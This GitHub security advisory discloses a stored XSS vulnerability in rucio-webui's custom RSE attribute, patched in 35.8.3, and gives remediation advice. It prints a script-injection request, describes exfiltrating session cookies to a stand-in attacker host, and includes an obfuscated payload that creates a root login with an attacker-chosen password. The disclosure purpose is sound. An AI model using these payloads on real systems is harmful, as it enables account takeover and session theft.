GitHub Security Advisory: GHSA-fq4f-4738-rqxm
Package: rucio-webui (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
Vulnerable versions: < 35.8.3
Patched in: 35.8.3

Summary: Rucio WebUI has a Stored Cross-site Scripting (XSS) Vulnerability in its Custom RSE Attribute

Details:
### Summary
A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom RSE Attribute of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

---
### Details
A stored XSS payload can be introduced via a custom RSE attribute value and is later rendered when the RSE is viewed.

**Create Path**:  
Admin > RSE Management > _RSE NAME_ > Add Attribute

**Trigger Path**:  
Admin > RSE Management > _RSE NAME_

**Request**
```http
POST /proxy/rses/WEB1/attr/XSS HTTP/1.1
...
{"value":"<script>alert('XSS')</script>"}
```

**Response**
```http
HTTP/1.1 201 CREATED
...
Created
```

**Storing XSS Payload in RSE Attribute**
<img width="1234" height="844" alt="Storing XSS Payload in RSE Attribute" src="https://github.com/user-attachments/assets/d10f58c2-8cea-43a9-bf7f-f94ef3d1fd81" />

**XSS Payload triggering when viewing RSE**
<img width="1248" height="949" alt="XSS Payload triggering when viewing RSE" src="https://github.com/user-attachments/assets/d536fac2-ab44-4cfb-b669-085a8c3db33e" />
---
### Impact
Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:
- Session cookies that are accessible to JavaScript (missing HttpOnly flag).
- API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

**XSS Payload to Create Root UserPass**
```html
<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>
```

---
### Remediation / Mitigation
All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as `.html()` should be avoided unless the content is explicitly sanitized. Safer alternatives include `.text()`, creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:
- Enforcing a strict Content Security Policy (CSP).
- Setting the HttpOnly flag on session cookies.